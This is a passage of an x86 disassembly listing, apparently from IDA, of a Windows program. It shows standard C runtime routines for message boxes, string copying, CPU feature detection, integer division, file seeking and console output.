dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push ebx push esi push edi call sub_4062C3 xor ebx, ebx cmp dword_411D50, ebx mov [ebp+var_8], eax mov [ebp+var_4], ebx mov [ebp+var_C], ebx mov [ebp+var_10], ebx jnz loc_40983B push offset aUser32_dll ; "USER32.DLL" call dword_40D174 ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40991B mov esi, dword_40D100 push offset aMessageboxa ; "MessageBoxA" push edi call esi ; GetProcAddress cmp eax, ebx jz loc_40991B push eax call sub_406255 mov [esp+30h+var_30], offset aGetactivewindo ; "GetActiveWindow" push edi mov dword_411D50, eax call esi ; GetProcAddress push eax call sub_406255 mov [esp+30h+var_30], offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_411D54, eax call esi ; GetProcAddress push eax call sub_406255 mov dword_411D58, eax lea eax, [ebp+var_C] push eax call sub_4042D8 test eax, eax pop ecx pop ecx jz short loc_409809 push ebx push ebx push ebx push ebx push ebx call sub_404D8F add esp, 14h loc_409809: ; CODE XREF: sub_409765+95j cmp [ebp+var_C], 2 jnz short loc_40983B push offset aGetuserobjecti ; "GetUserObjectInformationA" push edi call esi ; GetProcAddress push eax call sub_406255 cmp eax, ebx pop ecx mov dword_411D60, eax jz short loc_40983B push offset aGetprocesswind ; "GetProcessWindowStation" push edi call esi ; GetProcAddress push eax call sub_406255 pop ecx mov dword_411D5C, eax loc_40983B: ; CODE XREF: sub_409765+22j ; sub_409765+A8j ... mov eax, dword_411D5C mov ecx, [ebp+var_8] cmp eax, ecx jz short loc_4098C0 cmp dword_411D60, ecx jz short loc_4098C0 push eax call sub_4062CC push dword_411D60 mov esi, eax call sub_4062CC cmp esi, ebx pop ecx pop ecx mov edi, eax jz short loc_4098C0 cmp edi, ebx jz short loc_4098C0 call esi ; GetProcAddress cmp eax, ebx jz short loc_40988D lea ecx, [ebp+var_14] push ecx push 0Ch lea ecx, [ebp+var_20] push ecx push 1 push eax call edi test eax, eax jz short loc_40988D test [ebp+var_18], 1 jnz short loc_4098C0 loc_40988D: ; CODE XREF: sub_409765+10Dj ; sub_409765+120j lea eax, [ebp+var_10] push eax call sub_40430F test eax, eax pop ecx jz short loc_4098A8 push ebx push ebx push ebx push ebx push ebx call sub_404D8F add esp, 14h loc_4098A8: ; CODE XREF: sub_409765+134j cmp [ebp+var_10], 4 jb short loc_4098B7 or [ebp+arg_8], 200000h jmp short loc_4098FB ; --------------------------------------------------------------------------- loc_4098B7: ; CODE XREF: sub_409765+147j or [ebp+arg_8], 40000h jmp short loc_4098FB ; --------------------------------------------------------------------------- loc_4098C0: ; CODE XREF: sub_409765+E0j ; sub_409765+E8j ... mov eax, dword_411D54 cmp eax, [ebp+var_8] jz short loc_4098FB push eax call sub_4062CC cmp eax, ebx pop ecx jz short loc_4098FB call eax cmp eax, ebx mov [ebp+var_4], eax jz short loc_4098FB mov eax, dword_411D58 cmp eax, [ebp+var_8] jz short loc_4098FB push eax call sub_4062CC cmp eax, ebx pop ecx jz short loc_4098FB push [ebp+var_4] call eax mov [ebp+var_4], eax loc_4098FB: ; CODE XREF: sub_409765+150j ; sub_409765+159j ... push dword_411D50 call sub_4062CC cmp eax, ebx pop ecx jz short loc_40991B push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push [ebp+var_4] call eax jmp short loc_40991D ; --------------------------------------------------------------------------- loc_40991B: ; CODE XREF: sub_409765+37j ; sub_409765+4Dj ... xor eax, eax loc_40991D: ; CODE XREF: sub_409765+1B4j pop edi pop esi pop ebx leave retn sub_409765 endp ; =============== S U B R O U T I N E ======================================= sub_409922 proc near ; CODE XREF: sub_405D62+117p ; sub_405D62+139p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx xor ebx, ebx cmp eax, ebx push esi push edi jz short loc_409937 mov edi, [esp+0Ch+arg_4] cmp edi, ebx ja short loc_409952 loc_409937: ; CODE XREF: sub_409922+Bj ; sub_409922+3Aj call sub_403F8F push 16h pop esi mov [eax], esi loc_409941: ; CODE XREF: sub_409922+69j push ebx push ebx push ebx push ebx push ebx call sub_404E8B add esp, 14h mov eax, esi jmp short loc_40998F ; --------------------------------------------------------------------------- loc_409952: ; CODE XREF: sub_409922+13j mov esi, [esp+0Ch+arg_8] cmp esi, ebx jnz short loc_40995E loc_40995A: ; CODE XREF: sub_409922+48j mov [eax], bl jmp short loc_409937 ; --------------------------------------------------------------------------- loc_40995E: ; CODE XREF: sub_409922+36j mov edx, eax loc_409960: ; CODE XREF: sub_409922+44j cmp [edx], bl jz short loc_409968 inc edx dec edi jnz short loc_409960 loc_409968: ; CODE XREF: sub_409922+40j cmp edi, ebx jz short loc_40995A loc_40996C: ; CODE XREF: sub_409922+55j mov cl, [esi] mov [edx], cl inc edx inc esi cmp cl, bl jz short loc_409979 dec edi jnz short loc_40996C loc_409979: ; CODE XREF: sub_409922+52j cmp edi, ebx jnz short loc_40998D mov [eax], bl call sub_403F8F push 22h pop ecx mov [eax], ecx mov esi, ecx jmp short loc_409941 ; --------------------------------------------------------------------------- loc_40998D: ; CODE XREF: sub_409922+59j xor eax, eax loc_40998F: ; CODE XREF: sub_409922+2Ej pop edi pop esi pop ebx retn sub_409922 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409993 proc near ; CODE XREF: sub_405D62+F1p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_0] xor ebx, ebx cmp [ebp+arg_C], ebx push edi jnz short loc_4099B3 cmp esi, ebx jnz short loc_4099B7 cmp [ebp+arg_4], ebx jnz short loc_4099BE loc_4099AC: ; CODE XREF: sub_409993+4Dj ; sub_409993+8Cj xor eax, eax loc_4099AE: ; CODE XREF: sub_409993+44j ; sub_409993+9Ej pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_4099B3: ; CODE XREF: sub_409993+Ej cmp esi, ebx jz short loc_4099BE loc_4099B7: ; CODE XREF: sub_409993+12j mov edi, [ebp+arg_4] cmp edi, ebx ja short loc_4099D9 loc_4099BE: ; CODE XREF: sub_409993+17j ; sub_409993+22j ... call sub_403F8F push 16h pop esi mov [eax], esi loc_4099C8: ; CODE XREF: sub_409993+B1j push ebx push ebx push ebx push ebx push ebx call sub_404E8B add esp, 14h mov eax, esi jmp short loc_4099AE ; --------------------------------------------------------------------------- loc_4099D9: ; CODE XREF: sub_409993+29j cmp [ebp+arg_C], ebx jnz short loc_4099E2 mov [esi], bl jmp short loc_4099AC ; --------------------------------------------------------------------------- loc_4099E2: ; CODE XREF: sub_409993+49j mov edx, [ebp+arg_8] cmp edx, ebx jnz short loc_4099ED mov [esi], bl jmp short loc_4099BE ; --------------------------------------------------------------------------- loc_4099ED: ; CODE XREF: sub_409993+54j cmp [ebp+arg_C], 0FFFFFFFFh mov eax, esi jnz short loc_409A04 loc_4099F5: ; CODE XREF: sub_409993+6Dj mov cl, [edx] mov [eax], cl inc eax inc edx cmp cl, bl jz short loc_409A1D dec edi jnz short loc_4099F5 jmp short loc_409A1D ; --------------------------------------------------------------------------- loc_409A04: ; CODE XREF: sub_409993+60j ; sub_409993+81j mov cl, [edx] mov [eax], cl inc eax inc edx cmp cl, bl jz short loc_409A16 dec edi jz short loc_409A16 dec [ebp+arg_C] jnz short loc_409A04 loc_409A16: ; CODE XREF: sub_409993+79j ; sub_409993+7Cj cmp [ebp+arg_C], ebx jnz short loc_409A1D mov [eax], bl loc_409A1D: ; CODE XREF: sub_409993+6Aj ; sub_409993+6Fj ... cmp edi, ebx jnz short loc_4099AC cmp [ebp+arg_C], 0FFFFFFFFh jnz short loc_409A36 mov eax, [ebp+arg_4] push 50h mov [esi+eax-1], bl pop eax jmp loc_4099AE ; --------------------------------------------------------------------------- loc_409A36: ; CODE XREF: sub_409993+92j mov [esi], bl call sub_403F8F push 22h pop ecx mov [eax], ecx mov esi, ecx jmp short loc_4099C8 sub_409993 endp ; =============== S U B R O U T I N E ======================================= sub_409A46 proc near ; CODE XREF: sub_405D62+27p ; sub_405D62+38p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi xor esi, esi cmp ecx, esi jl short loc_409A6F cmp ecx, 2 jle short loc_409A62 cmp ecx, 3 jnz short loc_409A6F mov eax, dword_41141C pop esi retn ; --------------------------------------------------------------------------- loc_409A62: ; CODE XREF: sub_409A46+Ej mov eax, dword_41141C mov dword_41141C, ecx pop esi retn ; --------------------------------------------------------------------------- loc_409A6F: ; CODE XREF: sub_409A46+9j ; sub_409A46+13j call sub_403F8F push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_404E8B add esp, 14h or eax, 0FFFFFFFFh pop esi retn sub_409A46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A8C proc near ; CODE XREF: sub_409ADC+4Dp var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset dword_40E6C0 call __SEH_prolog4 and [ebp+ms_exc.disabled], 0 movapd xmm0, xmm1 mov [ebp+var_1C], 1 jmp short loc_409ACC ; --------------------------------------------------------------------------- mov eax, [ebp+ms_exc.exc_ptr] mov eax, [eax] mov eax, [eax] cmp eax, 0C0000005h jz short loc_409AC1 cmp eax, 0C000001Dh jz short loc_409AC1 xor eax, eax retn ; --------------------------------------------------------------------------- loc_409AC1: ; CODE XREF: sub_409A8C+29j ; sub_409A8C+30j xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] and [ebp+var_1C], 0 loc_409ACC: ; CODE XREF: sub_409A8C+1Bj mov [ebp+ms_exc.disabled], 0FFFFFFFEh mov eax, [ebp+var_1C] call __SEH_epilog4 retn sub_409A8C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409ADC proc near ; CODE XREF: sub_4060D1+7p sub_409B3Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h xor eax, eax push ebx mov [ebp+var_4], eax mov [ebp+var_C], eax mov [ebp+var_8], eax push ebx pushf pop eax mov ecx, eax xor eax, 200000h push eax popf pushf pop edx sub edx, ecx jz short loc_409B1F push ecx popf xor eax, eax cpuid mov [ebp+var_C], eax mov [ebp+var_18], ebx mov [ebp+var_14], edx mov [ebp+var_10], ecx mov eax, 1 cpuid mov [ebp+var_4], edx mov [ebp+var_8], eax loc_409B1F: ; CODE XREF: sub_409ADC+22j pop ebx test [ebp+var_4], 4000000h jz short loc_409B37 call sub_409A8C test eax, eax jz short loc_409B37 xor eax, eax inc eax jmp short loc_409B39 ; --------------------------------------------------------------------------- loc_409B37: ; CODE XREF: sub_409ADC+4Bj ; sub_409ADC+54j xor eax, eax loc_409B39: ; CODE XREF: sub_409ADC+59j pop ebx leave retn sub_409ADC endp ; =============== S U B R O U T I N E ======================================= sub_409B3C proc near ; DATA XREF: seg001:0040D234o call sub_409ADC mov dword_413B84, eax xor eax, eax retn sub_409B3C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_409B50 proc near ; CODE XREF: sub_4061E9+47p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_409B9C loc_409B60: ; CODE XREF: sub_409B50+3Cj ; sub_409B50+6Aj ... mov eax, [edx] cmp al, [ecx] jnz short loc_409B94 or al, al jz short loc_409B90 cmp ah, [ecx+1] jnz short loc_409B94 or ah, ah jz short loc_409B90 shr eax, 10h cmp al, [ecx+2] jnz short loc_409B94 or al, al jz short loc_409B90 cmp ah, [ecx+3] jnz short loc_409B94 add ecx, 4 add edx, 4 or ah, ah jnz short loc_409B60 mov edi, edi loc_409B90: ; CODE XREF: sub_409B50+18j ; sub_409B50+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_409B94: ; CODE XREF: sub_409B50+14j ; sub_409B50+1Dj ... sbb eax, eax shl eax, 1 add eax, 1 retn ; --------------------------------------------------------------------------- loc_409B9C: ; CODE XREF: sub_409B50+Ej test edx, 1 jz short loc_409BBC mov al, [edx] add edx, 1 cmp al, [ecx] jnz short loc_409B94 add ecx, 1 or al, al jz short loc_409B90 test edx, 2 jz short loc_409B60 loc_409BBC: ; CODE XREF: sub_409B50+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_409B94 or al, al jz short loc_409B90 cmp ah, [ecx+1] jnz short loc_409B94 or ah, ah jz short loc_409B90 add ecx, 2 jmp short loc_409B60 sub_409B50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_409BE0 proc near ; CODE XREF: sub_4067A5+29p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_409C02 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_409C43 ; --------------------------------------------------------------------------- loc_409C02: ; CODE XREF: sub_409BE0+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_409C10: ; CODE XREF: sub_409BE0+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_409C10 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_409C3E cmp edx, [esp+8+arg_4] ja short loc_409C3E jb short loc_409C3F cmp eax, [esp+8+arg_0] jbe short loc_409C3F loc_409C3E: ; CODE XREF: sub_409BE0+4Ej ; sub_409BE0+54j dec esi loc_409C3F: ; CODE XREF: sub_409BE0+56j ; sub_409BE0+5Cj xor edx, edx mov eax, esi loc_409C43: ; CODE XREF: sub_409BE0+20j pop esi pop ebx retn 10h sub_409BE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C48 proc near ; CODE XREF: sub_409CCB+CDp ; sub_409DE4+DEp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov [ebp+var_8], eax mov eax, [ebp+arg_8] push edi push esi mov [ebp+var_4], eax call sub_40BA3E or edi, 0FFFFFFFFh cmp eax, edi pop ecx jnz short loc_409C7D call sub_403F8F mov dword ptr [eax], 9 loc_409C77: ; CODE XREF: sub_409C48+5Ej mov eax, edi mov edx, edi jmp short loc_409CC7 ; --------------------------------------------------------------------------- loc_409C7D: ; CODE XREF: sub_409C48+22j push [ebp+arg_C] lea ecx, [ebp+var_4] push ecx push [ebp+var_8] push eax call dword_40D1B4 ; SetFilePointer cmp eax, edi mov [ebp+var_8], eax jnz short loc_409CA8 call dword_40D050 ; RtlGetLastWin32Error test eax, eax jz short loc_409CA8 push eax call sub_403FB5 pop ecx jmp short loc_409C77 ; --------------------------------------------------------------------------- loc_409CA8: ; CODE XREF: sub_409C48+4Bj ; sub_409C48+55j mov eax, esi and esi, 1Fh imul esi, 38h sar eax, 5 mov eax, dword_413A80[eax*4] lea eax, [eax+esi+4] and byte ptr [eax], 0FDh mov eax, [ebp+var_8] mov edx, [ebp+var_4] loc_409CC7: ; CODE XREF: sub_409C48+33j pop edi pop esi leave retn sub_409C48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409CCB proc near ; CODE XREF: sub_4068C4+116p var_24 = dword ptr -24h var_20 = dword ptr -20h ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push 14h push offset dword_40E6E0 call __SEH_prolog4 or esi, 0FFFFFFFFh mov [ebp+var_24], esi mov [ebp+var_20], esi mov eax, [ebp+arg_0] cmp eax, 0FFFFFFFEh jnz short loc_409D04 call sub_403FA2 and dword ptr [eax], 0 call sub_403F8F mov dword ptr [eax], 9 loc_409CFB: ; CODE XREF: sub_409CCB+66j mov eax, esi mov edx, esi jmp loc_409DD4 ; --------------------------------------------------------------------------- loc_409D04: ; CODE XREF: sub_409CCB+1Bj xor edi, edi cmp eax, edi jl short loc_409D12 cmp eax, dword_413A68 jb short loc_409D33 loc_409D12: ; CODE XREF: sub_409CCB+3Dj call sub_403FA2 mov [eax], edi call sub_403F8F mov dword ptr [eax], 9 push edi push edi push edi push edi push edi call sub_404E8B add esp, 14h jmp short loc_409CFB ; --------------------------------------------------------------------------- loc_409D33: ; CODE XREF: sub_409CCB+45j mov ecx, eax sar ecx, 5 lea ebx, ds:413A80h[ecx*4] mov esi, eax and esi, 1Fh imul esi, 38h mov ecx, [ebx] movzx ecx, byte ptr [ecx+esi+4] and ecx, 1 jnz short loc_409D79 call sub_403FA2 mov [eax], edi call sub_403F8F mov dword ptr [eax], 9 push edi push edi push edi push edi push edi call sub_404E8B add esp, 14h or edx, 0FFFFFFFFh mov eax, edx jmp short loc_409DD4 ; --------------------------------------------------------------------------- loc_409D79: ; CODE XREF: sub_409CCB+86j push eax call sub_40BAAF pop ecx mov [ebp+ms_exc.disabled], edi mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_409DA8 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_409C48 add esp, 10h mov [ebp+var_24], eax mov [ebp+var_20], edx jmp short loc_409DC2 ; --------------------------------------------------------------------------- loc_409DA8: ; CODE XREF: sub_409CCB+BFj call sub_403F8F mov dword ptr [eax], 9 call sub_403FA2 mov [eax], edi or [ebp+var_24], 0FFFFFFFFh or [ebp+var_20], 0FFFFFFFFh loc_409DC2: ; CODE XREF: sub_409CCB+DBj mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_409DDA mov eax, [ebp+var_24] mov edx, [ebp+var_20] loc_409DD4: ; CODE XREF: sub_409CCB+34j ; sub_409CCB+ACj call __SEH_epilog4 retn sub_409CCB endp ; =============== S U B R O U T I N E ======================================= sub_409DDA proc near ; CODE XREF: sub_409CCB+FEp ; DATA XREF: seg001:0040E6F8o push dword ptr [ebp+8] call sub_40BB4F pop ecx retn sub_409DDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=518h sub_409DE4 proc near ; CODE XREF: sub_40A3AA+9Ap var_594 = dword ptr -594h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_588 = dword ptr -588h var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_578 = dword ptr -578h var_574 = dword ptr -574h var_56D = byte ptr -56Dh var_56C = dword ptr -56Ch var_568 = dword ptr -568h var_564 = byte ptr -564h var_410 = byte ptr -410h var_160 = byte ptr -160h var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp lea ebp, [esp-518h] sub esp, 594h mov eax, dword_410440 xor eax, ebp mov [ebp+518h+var_4], eax mov eax, [ebp+518h+arg_4] push esi xor esi, esi cmp [ebp+518h+arg_8], esi mov [ebp+518h+var_57C], eax mov [ebp+518h+var_578], esi mov [ebp+518h+var_580], esi jnz short loc_409E20 xor eax, eax jmp loc_40A394 ; --------------------------------------------------------------------------- loc_409E20: ; CODE XREF: sub_409DE4+33j cmp eax, esi jnz short loc_409E4B call sub_403FA2 mov [eax], esi call sub_403F8F push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_404E8B add esp, 14h or eax, 0FFFFFFFFh jmp loc_40A394 ; --------------------------------------------------------------------------- loc_409E4B: ; CODE XREF: sub_409DE4+3Ej mov esi, [ebp+518h+arg_0] push ebx mov ebx, esi and ebx, 1Fh imul ebx, 38h mov eax, esi sar eax, 5 push edi lea edi, ds:413A80h[eax*4] mov eax, [edi] add eax, ebx mov cl, [eax+24h] add cl, cl sar cl, 1 cmp cl, 2 mov [ebp+518h+var_588], edi mov [ebp+518h+var_56D], cl jz short loc_409E82 cmp cl, 1 jnz short loc_409EB5 loc_409E82: ; CODE XREF: sub_409DE4+97j mov ecx, [ebp+518h+arg_8] not ecx test cl, 1 jnz short loc_409EB5 call sub_403FA2 xor esi, esi mov [eax], esi call sub_403F8F push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_404E8B add esp, 14h jmp loc_40A38A ; --------------------------------------------------------------------------- loc_409EB5: ; CODE XREF: sub_409DE4+9Cj ; sub_409DE4+A9j test byte ptr [eax+4], 20h jz short loc_409ECA push 2 push 0 push 0 push esi call sub_409C48 add esp, 10h loc_409ECA: ; CODE XREF: sub_409DE4+D5j push esi call sub_40A4CA test eax, eax pop ecx jz loc_40A0CF mov eax, [edi] test byte ptr [ebx+eax+4], 80h jz loc_40A0CF call sub_4064E8 mov eax, [eax+6Ch] xor ecx, ecx cmp [eax+14h], ecx lea eax, [ebp+518h+var_594] setz cl push eax mov eax, [edi] push dword ptr [ebx+eax] mov esi, ecx call dword_40D1BC ; GetConsoleMode test eax, eax jz loc_40A0CF test esi, esi jz short loc_409F1D cmp [ebp+518h+var_56D], 0 jz loc_40A0CF loc_409F1D: ; CODE XREF: sub_409DE4+12Dj call dword_40D1B8 ; GetConsoleCP and [ebp+518h+var_568], 0 cmp [ebp+518h+arg_8], 0 mov esi, [ebp+518h+var_57C] mov [ebp+518h+var_594], eax mov [ebp+518h+var_58C], esi jbe loc_40A33C and [ebp+518h+var_574], 0 jmp short loc_409F46 ; --------------------------------------------------------------------------- loc_409F43: ; CODE XREF: sub_409DE4+2E0j mov esi, [ebp+518h+var_58C] loc_409F46: ; CODE XREF: sub_409DE4+15Dj mov al, [ebp+518h+var_56D] test al, al jnz loc_40A057 mov al, [esi] xor ecx, ecx cmp al, 0Ah setz cl movsx eax, al push eax mov [ebp+518h+var_590], ecx call sub_40A8BC test eax, eax pop ecx jnz short loc_409F85 push 1 lea eax, [ebp+518h+var_56C] push esi push eax call sub_40BD46 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_40A332 jmp short loc_409FB5 ; --------------------------------------------------------------------------- loc_409F85: ; CODE XREF: sub_409DE4+185j mov eax, [ebp+518h+var_57C] sub eax, esi add eax, [ebp+518h+arg_8] cmp eax, 1 jbe loc_40A332 push 2 lea eax, [ebp+518h+var_56C] push esi push eax call sub_40BD46 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_40A332 inc esi inc [ebp+518h+var_574] loc_409FB5: ; CODE XREF: sub_409DE4+19Fj xor eax, eax push eax push eax push 5 lea ecx, [ebp+518h+var_C] push ecx push 1 lea ecx, [ebp+518h+var_56C] push ecx push eax push [ebp+518h+var_594] inc esi inc [ebp+518h+var_574] mov [ebp+518h+var_58C], esi call dword_40D19C ; WideCharToMultiByte mov esi, eax test esi, esi jz loc_40A332 push 0 lea eax, [ebp+518h+var_568] push eax push esi lea eax, [ebp+518h+var_C] push eax mov eax, [edi] push dword ptr [ebx+eax] call dword_40D148 ; WriteFile test eax, eax jz loc_40A329 mov eax, [ebp+518h+var_568] add [ebp+518h+var_578], eax cmp eax, esi jl loc_40A332 cmp [ebp+518h+var_590], 0 jz loc_40A0BB push 0 lea eax, [ebp+518h+var_568] push eax push 1 lea eax, [ebp+518h+var_C] push eax mov eax, [edi] mov [ebp+518h+var_C], 0Dh push dword ptr [ebx+eax] call dword_40D148 ; WriteFile test eax, eax jz loc_40A329 cmp [ebp+518h+var_568], 1 jl loc_40A332 inc [ebp+518h+var_580] inc [ebp+518h+var_578] jmp short loc_40A0BB ; --------------------------------------------------------------------------- loc_40A057: ; CODE XREF: sub_409DE4+167j cmp al, 1 jz short loc_40A05F cmp al, 2 jnz short loc_40A07A loc_40A05F: ; CODE XREF: sub_409DE4+275j movzx ecx, word ptr [esi] xor edx, edx cmp cx, 0Ah setz dl inc esi inc esi add [ebp+518h+var_574], 2 mov [ebp+518h+var_56C], ecx mov [ebp+518h+var_58C], esi mov [ebp+518h+var_590], edx loc_40A07A: ; CODE XREF: sub_409DE4+279j cmp al, 1 jz short loc_40A082 cmp al, 2 jnz short loc_40A0BB loc_40A082: ; CODE XREF: sub_409DE4+298j push [ebp+518h+var_56C] call sub_40BB71 cmp ax, word ptr [ebp+518h+var_56C] pop ecx jnz loc_40A329 inc [ebp+518h+var_578] cmp [ebp+518h+var_590], 0 jz short loc_40A0BB push 0Dh pop eax push eax mov [ebp+518h+var_56C], eax call sub_40BB71 cmp ax, word ptr [ebp+518h+var_56C] pop ecx jnz loc_40A329 inc [ebp+518h+var_578] inc [ebp+518h+var_580] loc_40A0BB: ; CODE XREF: sub_409DE4+232j ; sub_409DE4+271j ... mov eax, [ebp+518h+arg_8] cmp [ebp+518h+var_574], eax jb loc_409F43 jmp loc_40A332 ; --------------------------------------------------------------------------- loc_40A0CF: ; CODE XREF: sub_409DE4+EFj ; sub_409DE4+FCj ... mov eax, [edi] add eax, ebx test byte ptr [eax+4], 80h jz loc_40A302 mov eax, [ebp+518h+var_57C] xor esi, esi cmp [ebp+518h+var_56D], 0 mov [ebp+518h+var_56C], esi jnz loc_40A180 cmp [ebp+518h+arg_8], esi mov [ebp+518h+var_568], eax jbe loc_40A363 loc_40A0FE: ; CODE XREF: sub_409DE4+395j mov ecx, [ebp+518h+var_568] and [ebp+518h+var_574], 0 sub ecx, [ebp+518h+var_57C] lea eax, [ebp+518h+var_564] loc_40A10B: ; CODE XREF: sub_409DE4+354j cmp ecx, [ebp+518h+arg_8] jnb short loc_40A13A mov edx, [ebp+518h+var_568] inc [ebp+518h+var_568] mov dl, [edx] inc ecx cmp dl, 0Ah jnz short loc_40A12B inc [ebp+518h+var_580] mov byte ptr [eax], 0Dh inc eax inc [ebp+518h+var_574] loc_40A12B: ; CODE XREF: sub_409DE4+33Bj mov [eax], dl inc eax inc [ebp+518h+var_574] cmp [ebp+518h+var_574], 400h jb short loc_40A10B loc_40A13A: ; CODE XREF: sub_409DE4+32Dj mov esi, eax lea eax, [ebp+518h+var_564] sub esi, eax push 0 lea eax, [ebp+518h+var_584] push eax push esi lea eax, [ebp+518h+var_564] push eax mov eax, [edi] push dword ptr [ebx+eax] call dword_40D148 ; WriteFile test eax, eax jz loc_40A329 mov eax, [ebp+518h+var_584] add [ebp+518h+var_578], eax cmp eax, esi jl loc_40A332 mov eax, [ebp+518h+var_568] sub eax, [ebp+518h+var_57C] cmp eax, [ebp+518h+arg_8] jb short loc_40A0FE jmp loc_40A332 ; --------------------------------------------------------------------------- loc_40A180: ; CODE XREF: sub_409DE4+305j cmp [ebp+518h+var_56D], 2 jnz loc_40A227 cmp [ebp+518h+arg_8], esi mov [ebp+518h+var_568], eax jbe loc_40A363 loc_40A199: ; CODE XREF: sub_409DE4+438j mov ecx, [ebp+518h+var_568] xor esi, esi sub ecx, [ebp+518h+var_57C] lea eax, [ebp+518h+var_564] loc_40A1A4: ; CODE XREF: sub_409DE4+3F7j cmp ecx, [ebp+518h+arg_8] jnb short loc_40A1DD mov edx, [ebp+518h+var_568] add [ebp+518h+var_568], 2 movzx edx, word ptr [edx] inc ecx inc ecx cmp dx, 0Ah jnz short loc_40A1CB add [ebp+518h+var_580], 2 mov word ptr [eax], 0Dh inc eax inc eax inc esi inc esi loc_40A1CB: ; CODE XREF: sub_409DE4+3D8j mov edi, [ebp+518h+var_588] mov [eax], dx inc eax inc eax inc esi inc esi cmp esi, 3FFh jb short loc_40A1A4 loc_40A1DD: ; CODE XREF: sub_409DE4+3C6j mov esi, eax lea eax, [ebp+518h+var_564] sub esi, eax push 0 lea eax, [ebp+518h+var_584] push eax push esi lea eax, [ebp+518h+var_564] push eax mov eax, [edi] push dword ptr [ebx+eax] call dword_40D148 ; WriteFile test eax, eax jz loc_40A329 mov eax, [ebp+518h+var_584] add [ebp+518h+var_578], eax cmp eax, esi jl loc_40A332 mov eax, [ebp+518h+var_568] sub eax, [ebp+518h+var_57C] cmp eax, [ebp+518h+arg_8] jb loc_40A199 jmp loc_40A332 ; --------------------------------------------------------------------------- loc_40A227: ; CODE XREF: sub_409DE4+3A0j cmp [ebp+518h+arg_8], esi mov [ebp+518h+var_574], eax jbe loc_40A363 loc_40A236: ; CODE XREF: sub_409DE4+516j mov ecx, [ebp+518h+var_574] and [ebp+518h+var_568], 0 sub ecx, [ebp+518h+var_57C] push 2 lea eax, [ebp+518h+var_160] pop esi loc_40A249: ; CODE XREF: sub_409DE4+497j cmp ecx, [ebp+518h+arg_8] jnb short loc_40A27D mov edx, [ebp+518h+var_574] movzx edx, word ptr [edx] add [ebp+518h+var_574], esi add ecx, esi cmp dx, 0Ah jnz short loc_40A26C mov word ptr [eax], 0Dh add eax, esi add [ebp+518h+var_568], esi loc_40A26C: ; CODE XREF: sub_409DE4+47Cj add [ebp+518h+var_568], esi mov [eax], dx add eax, esi cmp [ebp+518h+var_568], 152h jb short loc_40A249 loc_40A27D: ; CODE XREF: sub_409DE4+46Bj xor esi, esi push esi push esi push 2ABh lea ecx, [ebp+518h+var_410] push ecx lea ecx, [ebp+518h+var_160] sub eax, ecx cdq sub eax, edx sar eax, 1 push eax mov eax, ecx push eax push esi push 0FDE9h call 